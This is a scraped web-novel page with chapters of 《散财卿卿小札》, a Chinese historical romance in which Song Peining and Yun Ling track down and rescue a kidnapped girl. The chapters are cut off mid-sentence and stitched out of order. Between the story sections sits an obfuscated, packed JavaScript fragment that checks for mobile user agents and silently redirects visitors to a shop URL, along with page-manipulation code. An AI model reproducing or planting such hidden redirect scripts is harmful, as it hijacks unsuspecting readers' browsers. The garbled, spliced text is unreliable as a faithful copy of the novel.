宋沛宁自觉失态,迅速回过神来,发现裴钱霍走在前面,略过云翎的问句不答,转去喊裴钱霍。 “裴钱霍,那贼人的鞋底你可还多拓了几份?给我看看,能否再瞧出什么来。” “那是自然,我正想着带女公子去鲜花铺子看看。” 裴钱霍说着,从衣服里又掏出了一张拓纸。宋沛宁接过,凝神看了半天,将一张拓纸横竖翻了过来调过去地瞧,突然抬起头,激动地说道:“我知道了,是行脚商!” “行脚商?” “行脚商?” 裴钱霍和云翎同时开口重复说道。 “对!” 宋沛宁摊开拓纸,指着鞋底隐隐约约的纹样,解释道,“你们看,鞋底的边缘不光滑,鞋底花纹辨不清,脚心处明明是有花纹的,到了脚掌处就断掉了,这一看就是走路太多,花纹是被磨光的。行脚商常年行走在外,走路走得多了,鞋底纹样都会像这样自然而然地被磨掉。而且你们看它的边缘,有草编的痕迹对吧,我记得,行脚商们一贯爱穿这类耐磨轻便的草鞋。” 宋沛宁说罢,眼睛放出光来,重新燃起希望,推着裴钱霍正要往衙门外走去。 她走得太快,不小心绊到了脚下的低矮门槛,却是丝毫不在意,提起裙裾,反而大步朝外跑了起来。 午后微风轻轻带过宋沛宁的发梢,奔跑起的裙摆纷飞四散,仿佛一朵娇艳的花摇曳在春风里,生生不息。 春风有时很烈,不是一直温柔,吹弯她的枝头,吹落她的枝叶,可择日再看,她依然亭亭。 单从拓纸上看恐有误差,宋沛宁一行人重新返回猪肉铺。 虎子守在那枚花土脚印旁已经等候多时,生怕有人经过不注意踩了一脚,线索便没了。 看到女公子安然无恙地回来,虎子很是高兴,“女公子,你没事真是太好了!” 裴钱霍在调查我线索时遇到虎子的事情,在来的路上说给宋沛宁听了,宋沛宁看见虎子也并不意外,笑着回答:“多谢你记挂我,平安无事。” 说完,俯下身近距离观察这枚脚印,果然如她所料,脚印比拓纸呈现的更加清晰,进一步印证了宋沛宁的推断。 宋沛宁顿了顿身,突然想起什么,起身回望向人来人往的长街。 这条长街,她走过许多次,明明长街还是那条长街,招牌还是那些招牌,可总觉得隐隐少了点什么……往日里背着大背篓吆喝叫卖的行脚商,今日竟然鲜少见得! 隔壁鲜花铺的老板娘谢婶,闻见动静,特意走出大门查看。 今日也不知道吹了什么邪风,她家门口真是热闹。先来了个小乞丐和大黑脸,大黑脸走了,来了几名官兵,官兵走了紧接着又来了个小姑娘。 小姑娘 11. 散财 《散财卿卿小札》全本免费阅读 驿站,散布在京城各处,供行脚商歇脚的地方。 那些整日里穿梭在京城的贩夫走卒,未必个个都是来做正经生意的。打着行脚商幌子做地下生意的,逢年过节给当官的打点一些,若非朝廷严查,官府便睁一只眼闭一只眼,旁人默认远离,各过各的,也算相安无事。 于是,众多驿站之中鱼龙混杂,有的驿站干净,有的驿站则不那么干净。 可要找囡囡,宋沛宁他们干净的和不干净的,都要去。 京城很大,几个人翻遍整座京城,搜索到最后,天色逐渐擦了黑。 最后一处驿站,建在城中十分偏僻的地界。人迹罕至,非常隐蔽。虎子说,他只来过这里一次,误入此地觉得慎得慌,没敢往深了走,当时走到半路,就掉头回去了。 街坊的人语声在重重叠叠的屋宇后被掩去,破败的胡同里,泛着难闻的气味。积灰的墙壁上被人凌乱地泼了墨,新墨叠着旧墨,留下深浅不一的印子,墙角处挂着灰尘和蜘蛛网。 这时,转角巷子里传来人的交谈声,边说话边向外走出来。 “丫的,真是够他娘的倒霉!抱了个不该抱的,现在全城都在搜!一个屠夫家的女儿能有多大的门路?我早上慢了一步,到现在还没送出城去!” “大哥,官兵再这么查下去,恐怕是要出事情,不如我们……” 后面的话,被那人故意压低了声。 “那也要等黑了再说,不到走投无路,最好还是留着。近来朝廷那头好像是太子介入,看得十分严,就连打点都没人敢收了!好不容易干了一票,总不能一分没赚到,还要白背个血债!” 听得出说话那人此时有些焦躁,另一个随声附和着。谈话的声音越来越近,眼看着就要和宋沛宁他们碰上面。 再回头走已是来不及,稍有不慎便会打草惊蛇。 裴钱霍急中生智,纵身跃至房梁,故意弄出动静引起说话二人注意。那二人很快察觉到秘密暴露,连忙追了上去,裴钱霍见两人入了套,起身带着那二人朝反方向跑走了。 剩下的人心领神会,囡囡定然就被他们藏在了此处。不过现在动手,显然不是绝佳的时机,但又怕囡囡被那伙人转移去别处,只好继续前进。 几人选了驿站后院外的的一棵老树,一人踩另一个的肩膀,连拖带拽全都爬了上去。宋沛宁决定选在此处盯梢,以防那帮贼人再有什么行动,并且暗夜中依傍树影的遮盖,他们的行踪很难被发现。 接下来,无事发生。 四个人坐成一排,看着天边愈亮的明月发呆。 小七等得有点困了,打了个呵欠,回头用眼睛去寻女公子。看到女公子抱着树枝,望着月亮发呆,仿佛心事重重。 小七以为女公子在为囡囡的事情忧心,开口安慰道:“女公子,眼下囡囡的去向也找到了,裴掌事一定会救她出来的,您也别太忧心了。” 宋沛宁回神,看了看小七,又继续去看月亮。 “小七,我不担心我,我只是在想我自己。” 小七疑惑:“女公子自己?” 宋沛宁有些无奈地笑笑,“我从前自诩吃过苦头,比起那些娇生惯养的贵族小姐,坚强许多粗粝许多。可是就在刚才,我被人误会、诬陷、有口难言的时候,我突然觉得,是不是我不知不觉中也做惯了贵族小姐,区区小事,竟然觉得委屈了?” 小七摇摇头回答:“不是的,女公子。是人就有感情,受了委屈便觉得委屈,合乎常理。” “可是,我误会别人的时候,从没思考过这些,理所应当地不经意间伤害了别人。” “别人?” “是啊。” 宋沛宁的回答声小了下去,像是没有底气,明知她本不该再提及,“小七,你说阿回离开这么多年,在外面过得好吗?也会被人误会过吗?……如果阿回被误会了,有口难辩的时候,他会怎么做呢?” 小七的眼睛里有一些难过了,语气犹豫了。 “女公子……这许多年,你还会想起他?” 宋沛宁没有立刻回答,停顿许久才坐直身子,否认地摇了摇头。 “我不想他了,我现在最讨厌的就是他。” 小七没见过女公子口中的阿回,甚至裴掌事、小一兄、小五小六都没见过阿回。 阿回曾经是宋沛宁最信任,也最忠实的仆人。有一年,却突然不见了。 正当大家都猜想,阿回年岁不大,是不是意外让牙贩抱走了的时候,宋沛宁走出来,语气平静地说:阿回很安全,只是回家了。 分别五年,修书一封也无,阿回人间蒸发。 宋沛宁后知后觉,也许阿回早就厌倦了临舟的日子,决计不再理她。 想通了,心里觉得被背叛,却也无计可施。人海茫茫再寻不到阿回,自然无处泄愤,只能不了了之,只是很少再提起这个人了。 - 城门口。 裴钱霍轻松甩掉那两个人后,来到城门禁军处,果然看见了云翎。 二人此前虽然打过无数次照面,却还是第一次对话。 云翎清清冷冷,一身白衣穿在他身上稍显赢弱,立在黑压压的整肃禁卫军队中,却仿佛永远不会泯灭于众人。 他的气质中,带着与生俱来的冷漠高贵,不容质疑的威压。即使是他向裴钱霍走过来,步履中仍然有强烈的压迫感。 云翎走近,向裴钱霍礼貌笑了笑,问候道:“裴掌事,怎么找来了?” 裴钱霍的视线越过云翎,进出城的严格排查还在继续,他看向城门外排起的长龙,微眯起眼,回看了过来。 “这位……不知姓名的公子,您怕是不仅仅是黄老先生的徒儿那么简单吧?” 云翎笑笑,佯装不懂,回道:“我也是为了救囡囡尽一份绵薄之力,裴掌事这是说的哪里话?” 话落,两人在昏暗的天光下对峙片刻,随后同时各怀心事地笑了起来,互鞠一礼。 裴钱霍客套地说:“在下也是前来碰碰运气,不想公子真的在这,特来替我家女公子传信。” “洗耳恭听。” 云翎正色,心领神会。 虽然宋沛宁没有亲口交代要裴钱霍去找云翎帮忙。 但仅凭这几年二人在临舟风雨同舟积攒的默契,裴钱霍离开这么久必 12. 散财 《散财卿卿小札》全本免费阅读 杂草栅栏外,火光冲天。 直映得那些掩藏在黑夜中低矮窘迫的简陋小屋,恍如白昼时一样亮。 僻静冷清的驿站很快掀起一片嘈杂之声,还没来得及反应,赶来的援兵已经将驿站包围得水泄不通。 好一招螳螂捕蝉,黄雀在后。 院内的几名壮汉随即警惕了起来,回头去看后院,却发现退路同样被堵死了。 有人慌了神,眼看官兵逼近,声音颤抖起来,跑到为首的凶煞壮汉面前问:“老大,我们怎么办?!” 头顶上方的人在商量对策,地上几个被掳的孩子,一人挨着一人坐着,手脚被捆得像麻花,鼻青脸肿狼狈至极。 小七眼尖,脖子朝前一伸,嘴巴被破布塞着,“呜呜”地喊。 “呜呜!呜呜呜呜呜呜呜!” 快看,有人来救我们了。 “呜呜呜呜呜!呜呜呜,呜呜呜呜呜呜呜呜……” 我们得救了,女公子,你快朝后看…… 宋沛宁的手脚被一条麻绳捆住,听见小七的呜咽声,扭着身子才好不容易转过头去。她坐在那群歹徒的脚下,只能透过歹徒们小腿的缝隙,隐约看到影影绰绰的人影。 她看到院子的另一头,仿佛另外一个诡谲的世界。 晃动的火把是朝圣的火焰,火把下的人极幽暗极深邃,似是要与暗夜融为一体了。人影快速移动,就像是沉睡时坠入的梦魇。 直到那团黑影中间,有人劈开混沌,踏月而来,白衣光华,皎洁无暇,像是生生划出一道锐利的弧线,把黑分割开来。 云翎只身赶在所有人的前面,眼力极好,一眼便看见了被藏在后面的宋沛宁。 云翎皱眉,一步上前,焦急地脱口而出:“阿宁!” 宋沛宁晃神怔住,她看不清楚,却听得很清楚。 那影影绰绰的人影,是她的阿回在清清晰晰地叫她。 头顶上,壮汉轻笑,自知如此阵仗,今夜凶多吉少。突然之间,壮汉像是发了狠,弯下腰揪着宋沛宁的衣服一把把人拎了起来。快速地抽出随身的尖刀,抵住宋沛宁的喉咙。 “后退!都给老子退到后面去!” 壮汉挥舞着手中的尖刀,在空中拼命地划,众士兵不敢轻举妄动,只好等待命令。 云翎凝神,按兵不动。与那壮汉对望半晌,下令道:“退!” 整兵齐齐向后退,留出空间,壮汉挟制着宋沛宁也向后退。几名同伙跟着他一起一直撤房后,借着房梁屋脊隐蔽踪迹。 云翎随手抽出身边官兵的长刀,独身悄悄跟进。 歹徒打算从地下暗道逃走,不愿意放弃宋沛宁这个人质,可绑着双脚的人质行动不便,只好先替她松开双脚的绳子。 云翎看准时机,一柄横刀闪出,利索地切断暗道入口。她与云翎对视后迅速做出反应,牟足力气猛地撞向歹徒,歹徒顾着看云翎一时躲闪不及,向后仰开半步。宋沛宁趁乱,撒开腿朝着云翎狂奔而去。 可惜宋沛宁的脚上还有一截绳子没有完全解开,拖在地上犹如一根引线,身后的歹徒很快稳住身形,人质若在此刻逃走,他们手上连最后一块筹码也无了。正当歹徒的手即将拽回宋沛宁脚腕的长绳时,云翎纵身向前疾跑了几步,张开手臂一把接住了向他奔跑而来的宋沛宁。 巨大的冲力让两人抱在一起滚了出去,领头的官兵见人质救出,当机立断一声令下向前。 呼喊声与金戈声回响耳畔,房檐下的歹徒登时乱了阵脚,各散逃窜,终是无处可逃。 宋沛宁从云翎怀中踉跄地坐了起来,云翎因为情绪过于紧张,还在重重地呼着气。紧锁的眉头尚未来得及舒缓放下,他睁开氤氲的眼看向宋沛宁,眼神幽深,仿佛同她一起坠入过那梦魇。 宋沛宁的心颤动了一下,她想把他从那个深邃的梦魇之中叫醒,却又一时不知道该如何叫他。 这才后知后觉到,原来他们相逢数次,照面数次,道听途说、擦肩而过数数次,竟然没有一次问及过他的姓名。 “你……” 宋沛宁语气犹豫,轻启带血的唇瓣,问道:“你叫什么名字?” …… …… 屋顶漏雨的山林破庙外下着倾盆大雨。 漆黑的天际滚过闷雷阵阵,狂风呼啸,抖动着本就破碎的门窗。 两个小人儿躲在屋脊下相依为命,雨水将他们与外界隔绝,山林破庙里,再也没有体面仁慈的神了。 “你一个人来的?走了多久的路,你要去哪里?临舟很大,我怕你会迷路,要不要和我回我家?我家也很大,屋子很多房间也很多,一定装得下你。” 他们一个一言不发,另一个又显得聒噪太多言。 “你若不说话,我便当你默认答应了。等雨停了,我家掌事来寻,我就带你一起走。” 那个不爱说话的,是个小公子。 小公子穿得很是体面,举止儒雅节制,教养很好,一看就看得出是个高门大户里出来的贵贵公子哥儿。 只是沦落到破庙里淋雨属实无奈,身上材质再好的衣物当下也显得人苍白。 可反观聒噪的小女公子便十分不同了,她盛气且凌人,说话时眼睛很亮,阴雨天里也透着股子灵气。 小女公子还在喋喋不休,自顾自地说道:“那你叫什么名字?你要是不愿意说,化名骗我也可以,只是我知道了你的名字,下次就会有人找你,你就不会那么轻易走丢了。” 小公子蹲坐在一旁,手心捏着膝盖上的一截上好布料,眼前泛起水光,还在隐忍着沉默。 小女公子转念想了想,一拍手,凑过身来,笑道:“我知道了,你不是不说话,是不能说话。你是小哑巴,对不对?” 听闻对方如此误解自己,小公子登时涨红了脸,终于说了第一句话。 “谁,谁是小哑巴?” “哦——” 小女公子笑了,故意拖长着尾音,继续逗他:“你不是小哑巴,你是小结巴。” 小公子听出自己被戏耍,别过脸接着做闷钟。 “那……你叫阿回。”小宋沛宁突然说。 “阿回?” “嗯,唤你阿回,是希望你可以早点回家。嗯……想名字很难,不要让我想第二个,你要是不喜欢,等你回家后丢了还给我便是。你从现在起就叫阿回,暂住在我家,是宋府长小姐宋沛宁的小随从,就这么定了。” 阿回怔怔地听完,抬起头看她,过去他没有走丢的时候,还从来没人敢这样同他说话。 可他明白,眼前的小女公子为他好,给他安身之所,没有坏心肠。 “……阿回?我叫阿回?” “嗯!你就叫阿回。” 雨天中的小孩子转眼都长大。 大到互相不认识彼此,不清楚对方是否还和自己一样,仍然心心念念着那个 13. 散财 《散财卿卿小札》全本免费阅读 月挂中天。 白日里繁华的京城吹熄灯火,像是睡着了。 幽静的小医院里独独点亮烛光,昏黄色的窗外透出忙碌来往的人影。 医馆的小学徒们此时全都起了,从被窝里爬起来穿好衣服,揉掉眼里的困意,人很快精神过来。 负责给宋沛宁包扎的,是一个有点面生的学徒娃娃。年纪很小,比阿映要小上几旬,稚嫩的脸蛋仿佛掐一下就能掐出水来似的。水娃娃溜神,张嘴浅浅打了个呵欠,一双杏仁般大的眼睛立刻变得水汪汪的。 宋沛宁顿感抱歉,略带歉意地赔罪说道:“不好意思啊,我们这群人半夜来医馆,打搅你们休息了。” 水娃娃一听这话,似是有些惊恐,低下头,躲闪着眼神不敢看她,嘴上连忙回道:“女、女公子哪里的话,这都是我应该做的,只怕不及师兄,做得更好……” 水娃娃说的师兄,便是阿映。 阿映老实本分,勤奋好学,拜入黄大夫门下时间虽不久,但如今已经是黄大夫十分信任的帮手。 宋沛宁每次来医馆,黄大夫都会特别交代要阿映去照看。不过今日不同,阿映人是来了,手里攥着纱布却是心不在焉的,隔上一小会儿,就忍不住扭过脖子回头去看。 看什么呢?宋沛宁心知肚明,干脆放阿映过去。阿映有些犹豫,看了女公子两眼,这才收拾东西起身走了。 阿映跑过去,换回来个水娃娃。 医馆大堂内几步开外的另一头,四个小少年闹成一团。三个战损的已经包好了两个,另外一个宁死不从。 虎子又倔起来了,看见阿映不肯服软,一门心思地想跑。小五小七二人合力,好不容易将虎子按在椅子上,虎子还是昂着头不愿意看阿映。 虎子如此态度,阿映似乎并不在意,欣喜地上前,端起虎子受伤结了血痂的手腕。 阿映一边小心查看伤口,一边对虎子打开话匣子:“你只有这处伤了,还有哪里痛?有伤不要忍着,全都告诉我。 “方才师父派人来传话,只说了女公子为了救失踪的囡囡受伤,结果我人一出来发现你竟然也在其中。你不是不愿意搭理女公子吗?没想到女公子落难,你会挺身而出。 “你果然还是和从前一样,仗义慷慨,倾囊相助。” “……也没什么。”虎子安静下来,眼睛看了看阿映,又不自在地瞥向别处,“可能我和你一样,觉得女公子是个好人,好人不该被冤枉。” 阿映笑起来,眼睛亮得灿若繁星,“是啊,你今日先救好人,再救幼女,实在立功一件。” 虎子被阿映过分夸奖的语气逗笑,不好意思地挠了挠头。一旁默默听了好久的小五小七人来疯,此时终于忍不住鹦鹉学舌地起哄聒噪起来。 僵硬的气氛顿时和缓了许多,嘻闹声中阿映与虎子对视一眼,同时会心笑了起来。 阿映帮虎子包扎完,返回药房抓药。掀开门帘,遇到了正亲自给宋沛宁抓药的云翎。 见到太子殿下,先守规矩地行了一礼。 “阿映拜见太子殿下。” 云翎原本拿着方子面对一排的草药柜,听闻身后有动静,手上动作顿了顿,而后回过头来。 “阿映?”方才场景,云翎与宋沛宁在大堂内都看到了,这会儿见了关心地问道:“你和虎子的误会可说开了?” “回太子殿下,多谢殿下关心,我与虎子没有误会。”阿映脸上喜气洋洋,语气轻快,像是流动的清澈小溪,“虎子日后大概不会再躲着我了。” 算起来,云翎认识阿映的时日也不短了,印象中阿映从没如此雀跃过。 云翎笑着点头,回了句“如此便好”,说完话,视线重新回到草药柜上。拉开木质生涩的小抽屉,抓了一小把红花,像是想到什么随口说道:“你与宋女公子交好,又是黄先生看中的徒儿,私下与我不必太拘礼节。” 阿映听了,一时间受宠若惊,反倒拘礼起来,“殿……殿下,这可如何行得通?” 云翎腾出空闲望了他一眼,笑着逗他,“瞧瞧,刚才说什么了,又拘谨了不是。我说可行就是可行的。” 太子殿下宽宏仁慈,阿映钦佩殿下,却也不惧怕殿下。借着与虎子冰释的喜气劲儿,走到草药柜前与云翎一起抓药。 只见云翎推上一扇小抽屉,拉另一扇小抽屉,称了一钱龙骨进去。阿映注意到云翎拿了方子外的药材,忙声制止:“殿下,师父的方子里没有龙骨。” “我知道。”云翎回答,“女公子睡得一向浅,她今夜受惊,夜里多半睡不安稳。” 阿映感叹:“殿下对女公子真是细致入微。”转而想到什么,紧接着问道,“殿下与女公子可是此前在别处就已相识了?” 云翎说:“对,你从黄老先生那听说的?” 阿映回:“不是的,此前听女公子说过。女公子说,她这是第一次来京,但来京,却是为了寻人的。” 听阿映这么说,云翎手上的药材险些没拿稳,又跟着重复了遍:“女公子来京是为了寻人?她当真这么说?” 阿映说:“是,当时在院里,黄老先生也在,不信您可以去问问黄老先生。” 云翎晃了晃神,云游片刻,眼底无声地泛起笑意。 - 宋沛宁和那三个小的伤得不算重,除了宋沛宁跳下树时崴到脚踝算是最重的伤,另外三个都只是些皮外伤。黄大夫吩咐学徒包扎完,基本上并无大碍,可从今早就失踪的囡囡伤得却比较重了。 救囡囡回来的路上,囡囡一直昏迷着,黄大夫将囡囡移去里间,单独为囡囡诊治。转眼大家都包扎好了,里间除了进进出出的学徒,没有其他的动静。 几个人都坐在大堂内,焦灼的气氛令所有人都不再嬉笑说话了,又耐心等了许久,宋沛宁累极,缩在椅子上打了几下盹儿。药房的炉子点着,鼻腔内飘来草药煎煮的清苦味,宋沛宁强撑着意识清醒过来。 里间终于有了动静,一抬头,黄毕淳从里面走了出来。他看向大堂的方向,微笑着向宋沛宁远远行了一礼,接着冲里间做了个“请”的姿势。 宋沛宁见状,连忙站起身,磕磕绊绊地跑过去,询问道:“黄大夫,囡囡当下如何?” 黄毕淳回答:“囡囡是惊吓过度导致的昏迷,方才老夫已经为她行过了针,待会儿喝过药,应该很快就能醒过来了。” 宋沛宁松了口气,又听黄毕淳继续说道:“女公子放心,囡囡遇到你,不与父亲分离,自有她的福气在里头。有福气的小姑娘,老天也会格外怜爱,不会有事的。倒是您看过囡囡安心了,要早些休息才是。” 宋沛宁连声道谢,走进里间去看囡囡。 囡囡安静地躺在里间的床上,此时高烧已经退了,只是人还没有醒。 宋沛宁慢慢靠近囡囡的床边,熟睡中的囡囡脸色红润,呼吸均匀,比刚救下她的时候好了许多。 宋沛宁惊喜地转过头去,本想跟身后的人说点什么,不料她身后站着的云翎距离她十分近。她额前的碎发轻轻扫过云翎的鼻尖,靠近云翎,恍惚闻到春雨十分潮湿清新的泥土味。 宋沛宁方才转头太快,云翎也没设防,同时打了个激灵,立马各退一步,拉开一小段距离。 云翎涨红着脸,清咳了一声,小五小七还有虎子在这会儿逮着空子,叽叽喳喳地全挤到囡囡的床边,二人的距离被拉开更远。 一个说:“她还这么小,独自经历这种事,心里得多害怕啊。” 另一个说:“我记得我也特别特别害怕来着,后来因为太害怕了,慢慢就不记得那天具体发生什么事了。” 剩下那个说:“真好啊,她不用像我们一样一直害怕,也不用找不到 14. 散财 《散财卿卿小札》全本免费阅读 囡囡在拂晓时醒了。 她迷茫地从床上坐起身,环顾四周,还不确定自己在哪。 医馆里很静,破晓前依稀的光线朦胧地透出房间,耳朵只能听见起伏绵长的呼吸声。 囡囡把手摸到床边,不小心碰到趴在床边看守的小七。小七虽然睡着,感知却是醒的,像是梦里提着一口气,被人轻轻一碰,立马揉着乱糟糟的头发坐了起来。 “……你醒了?” 囡囡不太认识他,听到陌生的声音,人马上紧绷起来。 小七见状,连声安慰:“你别怕,我不是坏人。我叫小七,经常跟在女公子身边的,我们去驿站救你,你记不记得?” 囡囡听闻,借着昏暗光线中仔细辨了辨小七的脸。 她回想,昨日以前她还在阿爹身边。觉得天大地大,比不过爹爹的拳头大,不管自己走到哪,阿爹都会保护她。 直到发生昨日的一切,仿佛经历一场光怪陆离的惊梦。即使梦的最后,她亲眼看见宋沛宁不顾一起地来救她,还是瑟瑟发抖地不敢相信。 如果是梦,她希望所有一切全都是梦,最好眼前的医馆和少年也都是梦。 最好再一睁眼,什么都没有发生,她从家中爹爹亲手为她搭建的小木头床上醒过来。 “阿爹……”囡囡怯怯地喃喃道,“想阿爹……囡囡想回家……” 小七把脸凑到囡囡跟前,好不容易才听清,柔声回问道:“你想回家?想见你阿爹?” 囡囡点头,抱着被角,眼里含着泪光。 捉拿住一众绑匪时,早已过了宵禁的时间。即使云翎大人当场命人捎了口信回衙役,可哪里都有哪里的规矩,屠夫张怕是要等到天亮才能被放。 小七抬头看了眼熹微的天光,又看了看模样楚楚可怜的妹妹,当即心软了。 “走吧。” 沉思半晌,小七下了决心,转身后背背向囡囡,说道。 “天快亮了,我带你去找你阿爹。黄大夫说你脚上有伤,你不要动了,我来背你。” - 小七给女公子留了字条,带着囡囡先一步去了府衙。 两人出来时,天色更加亮了一些。晨起露重,小七怕囡囡着凉,给她披了件薄毯。 只不过,小少年光顾着照看妹妹,忘了自己。鼻子冻得通红,还是闷不作声,假装不冷,逞强一直走,走着走着,从背后暖洋洋的毯子里伸出一只热乎乎的小手,盖过他受冻的脸颊。 囡囡乖巧地说:“阿兄,冷。” 小七微微侧过脸,一下就笑了:“好囡囡,阿兄暖和多了。” 京城此时的街道还算得上冷清,个别早起的商户也是揉着睡眼,半睡半醒地支起营生。 见到路过的两个孩子,心下觉得奇怪,再仔细看看,探过身子:这不是屠夫张家的囡囡吗? 两个小孩子原本寻常不惹眼,只是走了一路,就叫人看了一路。大的那个,背着小的那个,每走过一处,就像是激起一处喧哗似的。 市井邻居纷纷跑出来看,惊喜……又惊奇万分。 这年头被牙子抱走了,第二天还能平安无事地回家的,囡囡是第一个。 囡囡真是有福气啊—— 街坊四邻全凑过来,有好奇走上前去打听怎么回来的,有好心关怀囡囡哪里受伤的,还有早前丢过孩子找不回来,触景生情,转身掩面抹眼泪的。 囡囡被热心的长辈问懵了,小七也被这阵仗吓了一跳。背着囡囡向上颠了颠,迈开步子逃也似的,快速朝府衙跑去。 没得热闹看了,人群也自散去。 众人不知,小七不知,囡囡不知,他们口口声声叨念的女公子,其实就在后头。 宋沛宁心里揣着事,早早地醒了。 醒了下地转了一圈,瞧见小七留下的字条。小七平日里没少被宋沛宁纵容,囡囡大病初愈,再有什么闪失都不知道要怎么朝屠夫张交代。 身为慈幼院的院主,一天操八百个心,宋沛宁作势就要追出去,身后的房门一旋,云翎也跟着走了出来。 “女公子这是……” 云翎慢悠悠的“要去哪”三个字还没说出口,身体往前一倾斜,是宋沛宁冲过来拽住了他的手腕。 宋沛宁后脑的簪花一高一低,看着后脑勺明明还是一副没睡醒的样子。但声音洪亮,嗓子一嚎,人是真的醒了。 宋沛宁把小七的纸条,“啪”地一下往云翎身上一拍,转过头继续急匆匆地往前走。 “随从管教不当实在惭愧,你自己看吧,我们快走!” 于是,二人提步走到半路,就看到众人围堵的景象。 远远看见小七背着囡囡走路的背影,宋沛宁略微放下了心,也不跟着瞎急了。 两个人藏在人群里,跟着前进的人群亦步亦趋地走。 云翎好奇,挑眉侧头看了一眼她,“你又不急了?” 宋沛宁笑着,府衙转眼近在眼前。 “你瞧,囡囡好端端的,我家随从当真可靠。” 小七带囡囡平安到达府衙,与门口的衙役交代了句,便在院门外候着了。 宋沛宁昨日是被冤枉的过街老鼠,今日真相大白,才敢抬头好好看看这衙役的大门。 她突然想到什么,开口问道:“云翎,你还记不记得你昨日给我讲的故事?” 云翎怔了怔神,想起宋沛宁说的故事,许是他昨日随口胡诌的小兔精的故事,便笑了起来。 “记得,怎么了?” 宋沛宁心情不错,摸着下巴,想了一下,“我觉得结局应该这样写。” 云翎问:“怎么写?” “小兔精并不放弃,为了完成恩公的遗愿,最后选择变成了人。她变成人,理解人的苦衷,后为人的生计而奔波,寻找除了打猎以外别的出口。” “后来呢?” “后来小兔精,嗯应该说是小兔人做到了。虽然花费掉了她几乎全部的生命,她与她恩公的遗憾一起消失在人间。” “怎么还是个悲剧啊。”云翎低头看了看她,“如果是我的话,故事不会这么写。” “那你要怎么写?” 云翎的眼神飘向远处,悠悠说道:“我要写,就写她遇到好人,受人照顾,有志同道合的友人,有出手相救的贵人。她永远都不会孤身一人,就像……你我一样。” 他话落,府衙紧闭的大门应声敞开,屠夫张从里面走了出来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12889407|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您问题也没费什么功夫,倒是您给小的买了不少的烧饼,带回去给兄弟伙计分了吃,吃了许久的饱饭,如此恩情怎能随便忘。” 宋沛宁客气地笑道:“哪的话,民女有缘窥探太子殿下二三事,还多亏了你。” 与乞丐闲聊两句的时间里,街上已经照方才更加拥挤了。小乞丐见状,连忙侧身给宋沛宁让一处相对宽敞的角落,笑着说:“女公子小心,人群越来越拥挤了,若不嫌弃的小的冷铺,便在此处一睹太子风彩吧。” 当朝太子殿下行踪神秘,神龙见首不见尾,许多人都不曾一见太子尊容。传言太子风神俊秀,是个难得一见的秀美少年,这才引得许多春心少女前来观看。 宋沛宁忽然想到什么,随即开口问道:“你上次说太子对贩卖流童案十分上心,那当时破案的时候,可听闻有协助殿下破案有功的门徒?” “……殿下的门徒倒是不曾听过。”小乞丐沉思,想了想,继续答道,“小的对太子殿下的了解,也是基于坊间传言,再详细的内幕,我便也不得而知了。不过听说太子殿下年少时走失,因此性格孤僻,哪怕是同皇上都是不大亲……” 宋沛宁拣了个重点:“年少时走失?” “正是。”小乞丐点头说道,“女公子竟不如有此事?太子失踪时,举国同悲,皇上以为爱子早夭,心痛如绞,破天荒在皇宫里挂起丧幡接连数日,轰动一时呢!” “什么时候?”宋沛宁问道。 小乞丐一边回忆,一边回答:“得有个……七、八年的光景了吧。” 听完这话,宋沛宁的心里突然猛地腾起一种猜想,这样的猜想令她害怕颤栗,怕是真的又怕不是真的,于是焦急得涨红了脸。 宋沛宁紧接着追问:“那,那太子回来时呢?” 小乞丐见女公子如此反应,怔了怔神,一时迷茫,声音都跟着小了下去。 “再回来时……过了三年之久,殿下气若游丝,形容枯槁,好悬丧了命。回来时也才……年岁也才十二,还是个柔弱无力的小少年,脚上的鞋子都磨烂了,不知走了多久的路,从多远的地方回来。” 话音刚落,遥望人群齐齐转头看去的方向,打头走在最前面领队的太监敲响一声彻耳的铜锣声。 鸣锣开道,文武官员军民人等齐回避,沸腾的人群顿时鸦雀无声,随着一众车马的靠近,街道两侧的人纷纷自觉俯首。 皇帝的龙轿先过,而后是皇后娘娘的凤鸾,太子爷的銮舆紧随其后。 宋沛宁约莫着太子的轿辇当头而过,壮着胆子略微抬头一观。 只见闪金色的纱帘下坐着一个温润清俊的男子,纱帘的遮挡叫她看不清他的眉眼,却能看出他的骨相,着实是优越极了。清绝的背,落拓的肩,修长的颈,整个人光鲜又金贵。 “女公子不得无礼。” 这时,小乞丐察觉到宋沛宁偷偷抬起头,在没有官差发现前,紧忙小声制止道。 宋沛宁回过神,连忙重又低下头去,刚好避过人群另一头的官差扫过来的视线,却不知察觉到宋沛宁抬头的人不止这二人。 云辇中行进的太子殿下撩起过朦胧的金纱帘,视线柔柔地落在人群中抬头又颔首的少女身上,回头匆匆,望了一眼。 21. 散财 裁缝铺掌柜很快将小五的衣服改好,这回再一试穿果然十分地合身。好不容易有件合身的新衣,小五内心高兴得不得了,穿着新衣服跑来跑去。 皇家车马经过后,人群自行散去了,方才搭话的乞丐和宋沛宁介绍说,皇家的仪式十分繁琐,这厢虽是在百姓眼前儿走完过场了,但到寺中面见菩萨,自是还有一套规矩,等全都做完了,估计要临到太阳落山才能结束。 宋沛宁看看日头,这会儿也差不多快到下午了。 裴钱霍和小七采买完食材回来,接宋沛宁上马车,又将新做好的衣服都装车上。小五穿着新衣服,精气神十分,似个蝴蝶一般跟小七前后显摆着新衣服,小七不眼气,试了试衣服,也张罗着要掌柜改。 左右这时候店里没人,宋沛宁这单算是一批大订单,掌柜有的是耐性,便让小七把衣服脱下来,再改改。 早先宋沛宁听裴钱霍说了善财徐公子的事,心下有些好奇。刚巧今日就在城中,便想着能不能见一面。虽说也不知这会儿那位公子人在哪,但见不到人打听打听也没坏处,于是留了小五和小七在裁缝铺子等着,她与裴钱霍去碰碰运气。 这一去,就去了一整个下午。 破瓦寒窑里,年轻有力气的乞丐全不在,只剩下几名年长干不动活儿的。老乞丐说,徐公子是名商人,平日繁忙,并不常来,但对乞丐的体己不落下,隔三差五地派人送一趟。 宋沛宁说:“徐公人还是个大忙人。” 